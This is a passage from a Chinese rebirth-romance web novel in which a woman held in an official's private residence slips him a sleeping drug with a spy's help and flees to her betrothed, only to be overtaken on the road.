妧枝神情变得凝重而严肃起来,她感觉到商榷安的态度前所未有的认真,而她心上也宛若压了一块大石。
“你怎么会这样和她说?你上辈子,莫不是和她在这座私宅里住,还共同生养了一个孩子,你……”
你怎会舍得?商唯真难道不是他最心爱的人吗?
商榷安:“我和唯真,从小相依为命,的确一起经历过许多,彼此看重,视为家人。”
也有许多妧枝不知道的事,有些苦难令他无法就将商唯真赶走,弃之不顾。
只能从良心上,今后再为她另觅良人补偿她。
但在上辈子,商唯真得到过许多,认真理论起来,商榷安都不曾欠她什么。
时至今日,他想要妧枝,原也是想与商唯真从头来过,可事实非他所想的那样,他到底对眼前这个女子,无法松手。
至于唯真,只能尽量妥善安置。
商榷安:“她不会再是你我之间的阻碍。”
“你也无须再担心我想两女共侍一夫。”
妧枝骤然沉默,面上不见一丝高兴,心情反倒更加沉重下来。
能叫商榷安对向来珍视的好妹妹说出这番话,简直不可思议,甚至证明他的认真,以及向她示好的态度。
与上一世全然不同的姿态,令妧枝难以适应,商榷安还贴近了她,出手搂住了妧枝腰身,充满占有欲,“你提的条件,我都做到了,是否该你回赠我好处,给我看看你的诚意?”
所谓诚意,便是作为交换,商榷安答应妧枝的条件,而妧枝也要满足商榷安的要求。
没有了商唯真,妧枝方才同意商榷安动她,否则她不安心。
他便给她这份安心。
如此她才不会闹,不会逃,想着离开这座宅子。
而现在,该妧枝有所表示,是从,还是不从。
第69章 营救。
妧枝抵住商榷安的胸膛,“你太着急了,我还不知这件事是真是假。万一你诳我,我怎么办?难不成要我为你背负骂名?”
妧枝脸上俨然是不会承担这般后果的神情。
她巴不得和商榷安撇清干系。
“你想让我怎么证明?让唯真亲口告诉你,我拒绝了她?”商榷安细问,然而神色告诉妧枝,他提这个方法,当然是不可能的。
他还没有下作到那种地步,且他说出口的话,做出来的事没有不成的。
妧枝此番就是不信任他,低估了他的诚意。
商榷安容色变得不悦,手中力道收紧,妧枝感觉到他的压迫性,与他身体贴近,匆忙开口,“不是。”
“我的确没办法马上相信你说的话,但也无需见你的唯真。”
妧枝张嘴刺他:“毕竟上辈子,你与她感情深厚,常住在这座私宅吧?我当然心有防备,你总得给我些接受的时日。”
提及上辈子,商榷安顿时有所了然,他上一世的确不常回濉安王府,那座王府从来不是他所认可的家宅。
商唯真有一日说,她想住进安葬商朔的山中隐居去,商榷安见她兴致不高,且身体每况愈下,忧愁不断,这才将她挪出王府,送到外面疗养。
这是不可抵认的事实,“要多少时日,你才愿意放下过往。”
商榷安问。
妧枝知道他这是答应了,暂且不会逼迫她,“我也不知,那要看你。恩怨易结,心结难解。”
垂下眼帘,妧枝不打算给商榷安一个确切答案,但也算各退一步,有所商量。
“你知我看重名声,还有我不想住在你与她住过的宅子,这里我并不喜欢。”
她没有忘记,借机敲打商榷安,“你让我回去,或是换个居所,总不能将我永远藏在这里。”
商榷安对这一要求却并不理会,毫不留情拒绝,“此事以后再议吧,眼下你对我心结太重,早些接纳我才是首要的。”
妧枝闻言,没有表露出一丝不满。
只是不愿直视商榷安,微微偏头看向它处,算是听从了商榷安的安排。
她一安静,就显得乖了,不带刺也不张牙舞爪,从远处看,只会觉得一对登对的璧人紧抱在一起,静赏风景。
翌日,商榷安不在府中,妧枝没有追问他的去向。
她被困在院子里,为了避免她闲来无事,总想着出去,商榷安命下人为她准备一些礼单亲自清点。
妧枝看着婢女还带来了其他外人,手执笔墨,要与她一同对账的意思,诧异问:“这是什么?”
来人妧枝不曾见过,姿态却对她恭恭敬敬,主动解惑,“娘子不记得了,数月前,娘子曾在金福钱庄典当了一些嫁妆,乃是钱庄掌柜帮你办理的,在下是钱庄的东家,今日来是与娘子对齐您的嫁妆。”
屋中堆来一个个大箱,仆役放下便候在一旁。
妧枝瞧见此景:“是有这么一回事,可我嫁妆典了就是典了,可没有要现在就赎回来。”
金福钱庄的东家笑道:“娘子是不曾吩咐,但这是大人的交代,密使大人已经替妧娘子您把嫁妆都赎回了,今日都在这里面,妧娘子,快来看看吧。”
说着,他命钱庄的仆役将箱子都打开了。
然后一旁账簿先生念着妧枝典过的东西,请她过目。
“这是娘子的金莲玉枕……”
“这里还有一对双飞翼的凤钗、金雀头冠……还有数匹上等绫罗蚕丝……”
“五十年的山参、黄芪当归……”
妧枝对自己典当出去的东西知根知底,当听见还有“古董紫檀金丝拔步床一张”“牡丹螺钿花纹漆器”还有同样不等的衣柜、妆奁等物之时,眼皮一跳。
当即道:“这些可不是我有的东西。”
金福主簿念出来的每一物都不是妧嵘跟平氏能准备得起的,且还有另外多出来的箱子打开一看,无一不是贵重物什。
文房墨宝,琴棋书画,还有精心打造的妧枝刺绣能用的工具,都是纯金制的。
妧枝朝钱庄东家看去,这一看就是谁的主意。
金福钱庄的东家说:“密使大人待娘子可是有心了,知晓娘子不易,便从我们钱庄订了这些贵重物品,就当是都赠予给娘子的。”
那些看着她的目光,都充斥着羡慕和讨好之意。
这些好处可不是谁都能承受得起,密使大人位高权重的爱慕,连嫁妆都考虑上,妧枝俨然在他人眼中成了对方放在心里的人物。
可惜,这位妧娘子除了开始表现讶异,即使听见钱庄东家这样说,也不过是神情冷淡道:“我只要回我原本的东西,其他的一概不收。”
“这……”
未料想马屁拍错了地方,妧枝态度坚决,东家担心再劝只会惹她不悦。
十分人精,好话答应道:“密使大人一片心意,娘子既然不喜欢,那我就先命人放回箱子里,等过了密使大人那得了首肯,就将东西拖回去。”
妧枝:“如何处置是你们的事,清单上我只认属于我的东西。”
“是是,那就先不打扰娘子歇息了。”眼见气势不对,金福钱庄的东家立时安排仆役将东西都收拾起来,别再惹了这位娘子的眼。
屋中很快恢复清净,妧枝看到伺候她的婢女眼中,对她满是不解,似是在说她不知好歹,多少人想要密使大人这份宠爱,结果她却分毫不领情。
没有多余解释,妧枝只说:“我饿了,伙房还有吃食没有?”
婢女:“娘子稍等,我去瞧瞧。”
妧枝却忽地起身,“我跟你一起。”
婢女惊讶想要婉拒,然而妧枝道:“我要自己做些吃的,你不让我去,怎知送来的合不合我口味。”
想到大郎君身边的人交代,只要不太过分,都可以满足这位娘子的要求,面对颇有气势的目光,婢女只得带上妧枝,同她一起去到后厨。
二人从院中走出,到了伙房附近,妧枝目光游移,似在打探。
在后厨最近的忙碌的人中,竟发现了昨日前庭看到的人影,见到她来,正在劈柴的下人更是意想不到,颇为吃惊。
但很快便收敛神情,婢女对伙房地形熟悉,人也见过不少,在看到陌生面孔出现在此后,“怎么来了新的伙计?”
伙房里的厨娘道:“可不是新来的,这些木柴送来的晚了,来不及劈,正好有人在,就请了往日送菜的佃农帮忙。小灵娘子,你怎么来了?”
被念到的婢女朝妧枝看去,“妧娘子饿了,要来瞧瞧这里还有什么吃的。”
说着,她微微一愣,只见妧枝竟突然朝着木柴处走去。
“多砍些木柴,待会我要用到许多。”妧枝道。
正在劈柴的下人闻声怔了下,随即在妧枝示意的目光中,反应过来道:“是,一定。”
“敬听娘子吩咐。”
在婢女过来前,妧枝小声问:“你认得我?谁派你来的?”
下人余光时刻留意着附近,“娘子可安好?郡王在外面一直搜寻娘子已久,终于找到机会让我等潜入此处。”
妧枝想不到她不过试探一问,此人当真是历常珽派来的探子。
从昨日对方送菜被护卫叫住,她便觉得对方出现的颇为古怪了,于是一直记挂着此事,想来此碰碰运气。
妧枝按下激动:“我没事,只是一直被困在这里,不能离开。”
“娘子放心,郡王已经知晓娘子被藏身在这里,只是此处戒备森严,只有让那位大人放下戒备,就有机会救娘子出去……”
下人飞快地道。
妧枝瞬间反应过来,问:“什么法子,要我怎么做?”
在婢女过来前,二人商定道:“我有东西就放在树下花盆底下,娘子待会可趁人不注意,将其拿走。”
对方做了个摩擦指腹的动作,从小跟随平氏耳濡目染,修习过药理的妧枝瞬间明了。
“我走后,夜里三更,会有人在宅院后门等候娘子,娘子千万别误了时辰。”
妧枝在对方低下头,回到木柴前继续劈柴时,若有所觉地侧过身。
只见方才去了伙房里头的婢女走近了问:“娘子怎么还在外面?是有什么事情要交代的?”
疑惑的目光在她和劈柴的下人之间回荡。
妧枝神色镇定,一如往常,“我让这伙计劈多些柴火,待会做吃食要用。”
“要劈的不粗不细,恰到好处,柴火才旺。”
入夜后,庭院内外点满灯笼。
暮色宛若冰凉靛蓝的清波,悬挂在天幕,商榷安从骊山回来,手中还提了一篮食盒。
宫中赏赐的点心樱桃酪,他记得妧枝是爱吃的,方才在张绪之妹恳求下没有推辞。
“妧娘子今日如何?”他边走近院中,边问着。
府里的下人回道:“妧娘子今日似乎兴致不错。”
商榷安阒然顿住脚步,如同听见什么天方夜谭般,扭头朝说话的下人瞧去。
他眯起眼,冷静的俊眸多了一丝审视,“我听错了?”
下人说:“大郎君没听错,今日金福钱庄的东家得了大郎君的吩咐,过来了,带了妧娘子的嫁妆归还于她。”
“妧娘子高兴着呢,将嫁妆都收下了,只是大郎君送的那些额外的贵重之物,妧娘子没有收。”
商榷安眉头微皱,又轻轻舒展。
这种做法,即在情理又在他的预料之中。
“就这样,之后呢?”
下人道:“妧娘子后来去了伙房,大郎君快进屋去吧,妧娘子因高兴,做了一桌好菜要答谢大郎君呢。”
商榷安眼神闪烁,睫羽轻眨,以为下人不过是夸大其词,顺着他心意说些好话。
然而脚程不由自主加快。
等进了屋,他看见坐在一桌酒菜旁的婉约身影,就如同上一世一样,无论他何时归家,妧枝都这样等过他。
原来今日妧枝高兴是真的。
下人所言非虚,兴致也是真的不错。
第70章 骑虎难下。
论起来,商榷安很久没有吃过妧枝做的饭食。
濉安王府各有管事负责各房的伙食,大房还有自己的灶房,妧枝会亲自动手准备吃的,是因为她尽全力在做好自己的本分职责。
一个安守本分,全身心照顾好自家丈夫的妇人。
她的厨艺是平氏教的,擅于拿捏好咸淡,的确合人胃口,让人吃着满意。
但后来的那几年里,她并不时常做。
偶尔才下一次厨,心思都铺在里娘家上。
商榷安提着食盒进屋,让下人把盒子里的糕点拿去冰镇,等过一会就吃。
他立在桌旁,打量满桌佳肴,也看向安心等待他的妧枝,“今日是什么好日子,怎会想到亲自下厨?”
妧枝一直等着商榷安从外面进来。
她道:“你不让我出府,我只有做些吃的打发闲余。”
她也没给他好脸,始终不远不近疏离的模样。
商榷安来到了她的身后,妧枝不起身迎他,他不介意,只是双手搭在了她的肩上,很有力量且舒缓的按住了她。
妧枝有种仿佛身子都被揉搓过的错觉。
商榷安在她上方道:“你能这么做,我很高兴。”
“金福钱庄的当家你看到了?”
他是问妧枝今日见到的人,但实则是指那些嫁妆。
纵使下人说,妧枝是因为他帮她把嫁妆赎回来归还她而高兴,可商榷安还是想从妧枝口中亲耳听到她承认。
“是,都瞧见了。”妧枝今夜脾气格外好。
有问必应。
“那怎么说?你觉着满意了?”他想起交代金福钱庄的当家,送来的不止是嫁妆。
还有别的等物。
妧枝偏头抬眸看他,商榷安往下俯瞰,就见到那双眸子里彷如盛着春水柔波一样:“我只收下嫁妆,其余的让那钱庄东家领了回去。他说要禀告等你首肯了才行。”
“那你为何不要?”
商榷安撑着妧枝削肩,如同将她揽在怀中一样,而屋里灯火明亮,佳肴还冒着热气,美人虽冷,却另有一番摧折欲。
“我倒是不懂你送我那些东西的用意。”妧枝:“是贴补我,还是补偿?”
贴补是指妧枝嫁妆不够多,比起真正有身家的人家寒酸。了些。
补偿是把上辈子没对过她的好,这辈子重新算上。
商榷安:“你难道不懂什么叫嫁妆?女嫁男聘,我给你的那些,自然是一小部分聘礼。”
妧枝忽而浑身汗毛都竖了起来,这般热的天气,她竟有了一丝凉意。
“什么,聘礼?你要求娶……”她笑不出来,掐着手心,忍着不露出太多慌张。
商榷安说:“我不是有言,你我都没和离,即是夫妻,这辈子也该如此,不成婚哪来的名分?”
妧枝深觉这个话题太危险,睫毛轻颤,坐直了身子,微微与那双搭在她双肩的手想要拉开距离。
“算了,说这些都为时尚早,我饿了,我们还是先用饭吧。”
商榷安能清楚感知出妧枝身子避开他的弧度,他炽热的手掌在她身体留下滚烫的温度,透过衣物贴在肌肤上。
顺着肩颈往下,可以窥见她被束紧的纤细腰肢,上辈子他憎恶过濉安王府,不想有一个孩子,将来有可能受外界的摆布。
既不是世子之子,也不是名正言顺的嫡长孙,生出来的子嗣是冠商还是冠李,都会引起纷争难题。
这辈子妧枝没有喝避子汤,而他有心与她重续前世旧缘,弥补上辈子的无心之举。
这次倒是可以有个孩子。
妧枝能明确感受到商榷安在旁俯视她的目光,充满深意,也藏着忄青欲,像火舌一样碾着她一路打量。
他就在她身旁的凳子上坐下,本是宽敞的空间一下变得逼仄起来,好在商榷安没有再和她纠缠那些娶不娶嫁不嫁的话。
如同拉家常般,跟还在上辈子似的,商榷安贴着妧枝举筷,“想吃什么,我帮你夹。”
妧枝:“我自己来。”
商榷安不经意道:“你总是这么逞强,难道不许我多照顾你一些?”
他没有看妧枝,而是自顾帮她夹了筷鱼肚上的白肉,神色冷峻,却透露出一丝埋怨般的古怪。
妧枝对这样的温情感到恍惚,在嫁给商榷安之前,她跟这位商大郎君倒没有像婚后那样相处冷冰。
那还是她与商榷安接触中,虽然她当时也不想嫁给他,但为了双方体面,妧枝还是礼貌与之相处。
商榷安对她倒也不曾恶言以对,偶尔会聊几句妧家的话,还问她在家中是不是经常照看弟妹,以身作则。
那时气氛比现在差不了多少,古怪得很。
但虽然不愿和她结亲,可是只要妧枝去濉安王府,或是在妧嵘要求下约见商榷安,他却是会次次都来赴约的。
时辰有长有短,那时妧枝私心以为,他还是没那么不好相处的,嫁给他亦不是什么坏事。
熟料会是物是人非千变万化成这样。
当真世事无常。
但她没有一丝心软,商榷安给她的鱼肉,妧枝一点一点吃下,就当给上一世的妧枝一次道别。
她跟商榷安从认识起就错了,何必再错下去?
看着倔强的女子接受了自己的照顾,商榷安为这难得一遇的安心饭食感到舒服,这样的气氛许久不再有。
也终于不是妧枝对着他一张冷脸,一如初见。
乖分的跟在父母身边,眼下也乖分的吃着他给她布的菜。
“今夜,我想和你一起歇息。”
妧枝手中筷子一顿。
却察觉出旁边商榷安盯着她的眼睛,“这两日我不曾强迫你,但是你总得给我个机会,哪怕不碰你,好歹让我上榻也行。”
妧枝不语,不像之前那样拒绝,也不说同意。
商榷安观察她的神情,眉眼和脸上一点情绪都不放过,妧枝都没有表露出丝毫厌恶。
这代表他们之间是有进展的,他理解为这是她正在接纳他的许可。
妧枝默许了。
商榷安锐利审视的目光顷刻软化下去,有多了一丝柔软满意。
到了用过饭,下人将吃食都撤下去之后。
妧枝早已坐如针毡,然而这才入夜不久,她不能像以往那样,缺失胃口,用小半碗饭就停箸。
为了拖延时间,她又逼着自己吃了不少,还多喝了一碗鱼汤。
在商榷安默默观察她,用肯定的语气夸奖她,“看来你今夜胃口不错。”
妧枝擦着嘴道:“我今日累了,要吃很多。”
这一桌饭菜都是她动的手,难免劳累亦是正常。
商榷安:“我带回了樱桃酪,你肚子还有余量吗?”
妧枝:“把它放在就寝之前再吃掉,我先去消食。”
她扶着桌起身,实在撑得有些难受,小腹胀满,脚步缓慢地朝庭院里走。
夜深,月上树梢。
妧枝为避免在屋中待着,商榷安会来扰她清净,然而预料之外的,仿佛知晓他的话给她带来不小压力。
为了不让妧枝最终反悔,用过晚食后,商榷安竟然并未来打扰她消食。
但妧枝还是在庭院里逛了一阵,又坐了一个多时辰,今夜风朗气清,虽已到炎炎夏日,却能从风里感受到一丝清爽之意。
若是可以,妧枝有打算就这么一直坐到子夜。
可商榷安并未给她这个可能。
婢女前来催促,“娘子快去梳洗吧,浴房里热水已经准备好了,大郎君让人往里放了疗养的补药,能为娘子好好舒缓一番筋骨,去除疲累。”
妧枝才知对方还给她准备了药浴,商唯真历来身体孱弱,商榷安很关心她的身体,还为她请了宫中御医开药,商榷安对一些药理懂得不少。
知道药浴并不意外。
但妧枝没想到他会给自己安排,是不想她像上一世那样,病到最后没几年好活么?
“他呢?”妧枝问。
婢女:“大郎君已经去他房中沐浴了,他说会在房里等娘子。”
平日无事,商榷安歇息的一向较早,而今夜尤其特殊,他不太想浪费太多时间,而是要登堂入室,与妧枝同床共枕。
他出来的早,妧枝还未梳洗完,商榷安也不意外。
让她多泡泡药浴,对身子有益。
他很耐心且抱有期待等在妧枝的房中,在空余间打发漫长的时间。
直到房里的灯火又被点亮了一次,商榷安问了下人时辰,当即皱眉,“妧娘子呢,怎么还未出来?”
他沐浴过,洁净了身体,身着里衣披了件靛青的锦衣外袍,乌发如墨,卸了发冠,缠了一根玉簪披散在身后。
样式轻简,通身清贵而气派。
妧枝迟迟不进门,商榷安以为她又要退缩,这次从榻上动身,想要亲自去浴房那边看看。
然而就在商榷安隐隐不满之时,一道洗得白里透红,浑身散发着还未消散的热气的妧枝从门口进来。
婢女帮她包着湿掉的发尾,她素面朝天,面颊却如染了脂膏一样宣红,绮媚娇艳,一袭洁白里衣长袍,裹着她窈窕曼妙的腰身。
整个人不再清冷不好亲近,而是多了许多暖意,暖到商榷安想要替她揭开外面的衣襟,去埋头轻嗅那曾勾引过他,缠绵悱恻的幽幽香气。
妧枝一见商榷安朝她走来,不禁干咽一口气,如今已是骑虎难下的程度。
她的暂时妥协,被商榷安误以为她愿意跟他重修于好,甚至接受二人能同榻而眠。
“都出去。”商榷安上来,就当着婢女的面,将妧枝腰身一捞。
他的掌心炽热的贴在她的腰杆上,沉着有力,且他们腰下的距离同样紧贴。
妧枝慌中撑着他的胸膛,往后仰,免得胸前与他撞上,然而这样的姿势还是太过孟浪,一旁的婢女早已训练有素底下了头。
妧枝紧张道:“等等,我发还是湿的,让她帮我擦干了再走。”
距离子夜还不到时候,俨然商榷安已经按耐不住,想与她亲热一番。
妧枝只能找借口将婢女挽留。
可是商榷安道:“不必用她,我来帮你擦。”
妧枝否定,“不行,你手太糙,我不用你帮我。还是让其他人来。”
商榷安定定看着她,像在确认妧枝说的话有几分虚实。
他的手糙?的确,他掌心有茧,以前更多,那都是在商朔老家时,做了一些苦力活还有执笔书写磨出来的。
如今他位高权重,年纪轻轻步入仕途,官场沉浮十余载,也算几分养尊处优,手上虽谈不上光洁如玉,但即使有茧摸起来也不会太过难受。
不过妧枝有所求,为了不让美好的今夜半途而废,或是惹她不高兴,商榷安还是缓缓松开手,让婢女先留下为妧枝擦干头发。
他就坐在榻边,看着镜子前的她,充满耐心和势在必得。
妧枝对背后那道默默注视着她的目光感到心惊,她轻抿的唇终于渐渐显露出压力。
内心不再安然而是焦灼,希望时辰能走快些再快点。
商榷安:“好了。”
在婢女为妧枝擦干最后一缕发丝时,商榷安动身过来,赶走了婢女,占据了她的位置。
这次婢女不再逗留,识相离开,帮他们关上房门。
妧枝从镜子里看到从背后胸膛靠上她后背,将她拥在双臂里的商榷安,眼神里的忄青欲汹涌,不经意自然而然就富含侵占性。
“我……”
妧枝刚开一个口,商榷安就将她下颔对着镜子抬起来,屈膝跪在她身后,低头往下咬住她那两片嫣红而艳丽的唇。
略带一丝凶狠,渴求和暌违已久的迫不及待,妧枝被迫从口里汲取着津氵夜,和商榷安纠缠,像沸腾的油锅里落入了一滴珠水。
“等,呜呜……等等……”
对扣着她脖颈,用劲缠吻的商榷安对她的话音充耳不闻,一概忽视过去。
甚至还在此过程中,将妧枝扑倒在地,镜台上的妆奁差点因此在这钳制中被碰倒。
妧枝终于在商榷安将手差点伸入被撩的凌乱扭错的衣裙时,猛地从他脸下将他推开,“等等!”
她喘着粗气,面色绯红,商榷安在她头上双眼黑瞋略带一丝暗藏的猩红,宛如布有一道血丝,眼神占有欲十足,同样气息不稳,比起妧枝少言不语,只沉默地盯着她。
她仰头平缓呼吸,口中干渴,“你,你说好不碰我的。”
怎么能不讲信用?
商榷安哂笑:“那是在榻上。”
他动着唇,气息干热,眼眸却冷,俊容也像抹了胭脂般。
不在榻上,那便不作数了。
他俯身瞄准妧枝的唇,如同还想继续,吓得妧枝蜷起身子,抵挡住他,“你无耻,等等……我渴了,要喝水。”
她将脸偏过去,埋在臂弯里,看出她是认真颇为抗拒,商榷安黑眼微沉,却没有发作,而是思量了片刻,微微抬身。
妧枝问:“你带回来的樱桃酪呢,拿来,我要吃。”
商榷安盯着她,静默后,出声问:“你今夜很怪。”
妧枝心提到嗓子眼。
“为何饿的那么快?”虽是抗拒与他亲近,但找的理由也太多次了。
就这么不喜欢和他待在一块?
妧枝哑着嗓子道:“我想吃,你特意带回来,不就是为了让我吃的?”
“不给就罢了。”
她佯作心灰意冷。
商榷安见不得她如此模样,当下沉声答应,“你想要的,我如何不给?”
她此刻躺在地上,衣裳不整,鬓发微乱,商榷安即使瞧得目不转睛,依旧还是如妧枝所愿,暂且松开对她的强迫,从她身上起来。
妧枝待到商榷安身形离开,身体恢复力气,快速从地上站起来,她整理衣物,同时远离商榷安,走到一旁,“你去拿,不要麻烦下人。我要你亲自去拿过来。”
她语气如在泄愤,看来刚才这一唐突冒犯的举动真的惹恼到她了。
商榷安目视背对着他,整理着自己仪容生气不肯看他的妧枝,直到她肯回过头来,对上目光,商榷安这才答应,“那你等我回来。”
妧枝不予理会,等到商榷安出去,这才独自走到床前,掀开被褥,露出里面的小小纸包。
子夜将至,商榷安将樱桃酪端来房中给妧枝。
看见她人还在此,似乎心情已经平静下来,他刚才一路过来微蹙的眉眼,也跟着舒展不少。
“给你。”
妧枝在桌边坐着,她将自己收拾的一丝不苟,发丝挽起,衣襟也系的紧紧的。
她眼神戒备地看着他,在商榷安又想在她身旁安坐下时,“你坐那边,别挨着我。”
她有脾气,还在防备之中,商榷安将樱桃酪放下,看着妧枝拿起勺子,却要等他坐到她对面方才肯开动。
商榷安依她话,悠悠转过去。
桌上放置了两个杯子。
妧枝尝着点心,像是真的喜欢,商榷安也不惊动她,望着她吃。
雪白撒了樱桃碎肉的酥酪沾在了那张他品尝过的唇上,舌尖扫过,商榷安眼神让妧枝感受到了被打扰。
她抬起眉,目光示意,“你喝茶。”
她命令他,商榷安为了令她放宽心,拿起杯子照做。
只是在茶水入口前,他微微一顿。
妧枝眼睛不离他动作半分,一见此景,手中勺子不由自主捏紧。
好在商榷安在下一刻,将杯中水送进口中。
看到他喉结鼓动,茶水流入进去,妧枝紧绷的心弦终于有了片刻放松。
她悄然松了口气,但在短时间之内,药效未发作前,依然装作若无其事,专注挑着碗里的吃食。
然而余光还是时有时无瞥向商榷安,留意他的动静。
初时他没什么反应,到之后似是有一阵眩晕,他正集中神思,眉头紧拧,忍不住伸手按揉额边穴位。
接着看对面妧枝一眼,眼中如有出现重影,开始只以为是错觉,第二眼已然瞧不清她的脸。
商榷安意识到不妥,强自打起精神,控制身体不要倾斜,然而失控的滋味如山倒。
他用尽力气只能叫出她的名字,“妧枝……”
你做了什么?
他已听不清她说了什么,亦或是什么都没说,眼中的重影被不断放大模糊,最终留给商榷安的只有冰冷的视野。
失去意识。
药效起效了。
妧枝看着这惊险的一幕,猝然起身,与历常珽的约定就在此时。
不管眼前商榷安情况如何,妧枝仅仅是看了他一眼,然后奋然不顾,朝着门外黑夜里走去。
70-80
第71章 她从未想过和他重修于好……
偌大的庭院阴影重重,外面天色漆黑一片,深夜各个屋中灯火都已熄灭。
妧枝回头看了下她出来的院子,远看还有微光,她不敢再耽搁,一路脱掉外面的里衣,丢在路边,照着白日里熟记的路线奔逃。
在商榷安回来前,妧枝就收拾好了自己,将外出的衣物穿在最里面,否则带着这身衣裳,怎么都说不清。
路上她因太黑,在廊檐下差点摔了一跤,匆匆爬起来来到与人约定好的后门,夜风轻拂起她的后背,待到忽然有声音在唤她,“妧娘子,在这,快过来。”
妧枝才感觉出自己早已惊出一身冷汗,背后衣裳都被湿濡透了。
历常珽所派来的人一身夜行打扮,指引妧枝来到墙下,“妧娘子从此处出去,往外跑,跑的越远越好,郡王就在巷口外等着。”
妧枝被送上梯子,“那你……”
“小人自有脱身之法,娘子快走吧。”
妧枝鼓起勇气,在高处回眸眺望这困住她的府宅,在浓浓夜色中树木阴影,让这深宅大院宛若张开口吞吃她的野兽,静静蛰伏。
就在妧枝将要顺着梯子往下离开时,忽而一声暴呵惊破局势,“有贼!府里进贼了,来人!捉住他们……”
巡逻的看护仿佛终于发现异常,快速从别处赶过来想将人留下。
而妧枝早在听见声音后,稳住心慌,让颤抖的手抓紧扶手,速度从梯子出下去。
她听从刚才的话往巷子外跑,这处僻静之地没有多少人家,路却很长很长。
风扑在她脸上,让她忘了呼吸,只想着要走,不能再被抓回去。
不能让他人的苦心功亏一篑。
“阿枝。”
“阿枝!”
在历常珽带来的马车中,他在听见车夫禀告有动静后,探出头。
一眼就看到朝这边一路奔逃的女子,她像用力浮出水面挣脱水藻的羁鸟,衣袂猎猎,向着他靠近,再靠近。
历常珽跳下马车,同样快速迎上去,“阿枝……”
长夜漫漫,音讯难断。
安宁宅有个好名字,商榷安当初愿意拿下这座宅子时,他尚且年轻,朝廷新贵,前途无量。
从罪臣继子,一路走来上京,许多官宦是看着他这样一步一步踏入权利中心的。
令,他只听高堂之上那唯一一人之令。
公,他秉公办事,在原则之内与那些重臣周旋,像一头鬣狗,将人引至他布下的陷阱中,抓住漏洞,截获把柄,让他们声誉扫地。
越是瞧不起他的,他总是盯的最长,并不急着报复,却只要在对方一时疏忽,或是放下戒心以为万无一失时,再如幽魂一样窜出来。
时日一久,他的目光仿佛成了其他臣子头上的一把刀,代替高堂之上的那位,更令人提心吊胆。
私,他从下九流上来,一路顶着刀山火海回到他该有的身份和地位。
明白水至清则无鱼,若他想在朝中立足,自然不能脱俗,旁人敬他三分,他便给人三分便利。
他属下的人忠心,不都出身富贵,甚至是草芥,他给了他们一条命,还有像他一样的罪臣之后,为他办事。
多的是人畏他,也想拉拢讨好他。
这座房产便是他得到的最贵重的奖赏。
如果没遇到妧枝前,他曾想,今生便在这座私宅安身立命,接了唯真过来,像以前在商朔老家那样,和这个妹妹往生继续相依为命。
可是计划突变,他身置官场,带来的不止是权利和地位的变化,还有被觊觎的婚姻。
商榷安被下属紧急救醒,拿了能解迷药的药丸兑水喝下,片刻后醒来揉着依旧发胀酸涩的额穴,对屋中发生的一切有所了解。
他拿起下属捡到的被丢弃在路上的衣物,靠近还能闻到身体主人留下的余香,掀开的眉眼宛若出鞘的刀剑,锋利无边。
愠怒像燎着的焰火,让他睫羽之下的眼珠泛起幽光,“逃了?”
枕戈回应,“他们的人早已安排好潜入府中,看护留了一部分人没喝碗里的茶水,一直等着他们现身,如今已经派人追上去了。”
马车中,在离开商榷安宅子的路上,历常珽选择了混淆耳目,让提前扮成妧枝的人影坐在另一张车中,分开走。
经过奔逃,妧枝的呼吸还是热的,后背一片湿汗打湿了她微薄的衣裳,发丝也紧贴在脸颊边。
她被紧紧揽在历常珽的怀里,手脚尚处于劫后余生的细微颤抖中,她差点,差点以为就要被后面的人抓住了。
历常珽如同对待失而复得的宝物,用袖子为她抹去汗珠,同时柔声安抚,“没事了,阿枝,不要怕。”
他还来不及观察这几日不见,妧枝模样如何,只能借住车内烛火的光芒,短促打量她,她像受惊的动物,面容苍白,眸光黑亮却有一丝惊恐。
“常珽。”
她叫了他一声,似是在确定真的是他,她不是在做梦。
历常珽回应,“是我,阿枝,你受苦了。”
他不确定妧枝在那座宅子里经历了什么,只是在看见她脖子上的一两道痕迹后,脸色倏地变沉。
就在此刻,车外的马夫道:“郡王,不好了,他们追上来了!”
是商榷安的下属,披甲带着护卫们直接策马追赶,看来是发现了另一辆马车不对劲。
一行人飞驰着对着他们的踪迹紧追不放,并且带头的喊:“前面的留步,快放了我们夫人。”
“锦瀚郡王,切勿一错再错,掠走我家主母!”
历常珽的下属在马车外回击,“胡扯!妧娘子乃是我们郡王的未婚妻,何时成了你们商密使的夫人!”
披甲不苟言笑,厉声道:“妧娘子已与我家郎君私定终身,她才是郎君的人!还请郡王,速速放人,否则别怪我等动手了!”
“不知廉耻。”马车中听着两方言语的历常珽骤然低声呵斥。
妧枝在他怀中一抖,更没想到还会被人追上来,她听见外面交锋的动静,很快马蹄声愈来愈近,所在的马车被慢慢逼停。
披甲挡在最前,周围的同伙将历常珽的人团团围住,“还请妧娘子下车归家,亦或是等大郎君过来,接妧娘子回去。”
历常珽对这话感到勃然大怒,只是多年习惯,并未被激的失去理智,他代妧枝冷斥,“你太放肆。我与阿枝明媒正娶,你们郎君当初议亲时,可是推三阻四,真是狼子野心,背信弃义之辈!”
“滚开,今夜阿枝将跟我走。”
车外,披甲未有丝毫被斥责的羞愧心虚,而是回话道:“那就请郡王亲自与大郎君说吧。”
……
妧枝待在历常珽身旁,在这紧张而凶险的气氛中,历常珽始终护着她,道:“别怕,我不会让他们带走你的。”
妧枝却是在想,商榷安会如何对待他们?
她给他下药,在他面前装得温顺无害,虚与委蛇骗了他整整一晚,他会轻易就放过她吗?
如同妧枝所想,在静默对峙的局势下,一股动静从不远处快速赶到。
地上马蹄声整齐有素,妧枝虽没出去,看不见外面,却还是能听到商榷安的下属对着来人叫了声,“大郎君。”
商榷安来了。
空地上,离开巷子和周边的人家,这里只剩河道和密林,围绕着妧枝和历常珽等人的是他的下属,手中高举一片耀眼的火把。
商榷安冷冷看着被迫停在道路上的那辆藏人的马车,“是你自己出来,还是我帮你出来?”
他一来,周围完全变得幽寂,其他人悄无声息。
现场只闻火把燃烧时的噼啪声,倒映着每个人的面庞,凝重而肃静。
“妧枝。”商榷安叫着她的名字。
那么冷,短促有力,饱含情绪。
就像他此刻的视线,充满被欺骗后的郁愤和克制,怒火与心头暴戾的冰山相撞,难以平静。
车里,妧枝刚要动,便被历常珽按住手腕,他摇头,不想妧枝下去。
妧枝沉默,听着外面的声音不再想要出去。
然而商榷安的声音依旧没有停止,如鬼魅传来,阴沉冰冷,“为什么骗我?还给我下药?”
“你在背弃我,妧枝。”
“亏我那么相信你。”
他以为他诚心悔改,体贴弥补,她会对他有所改观,至少她答应了,自己也提了条件不是吗?
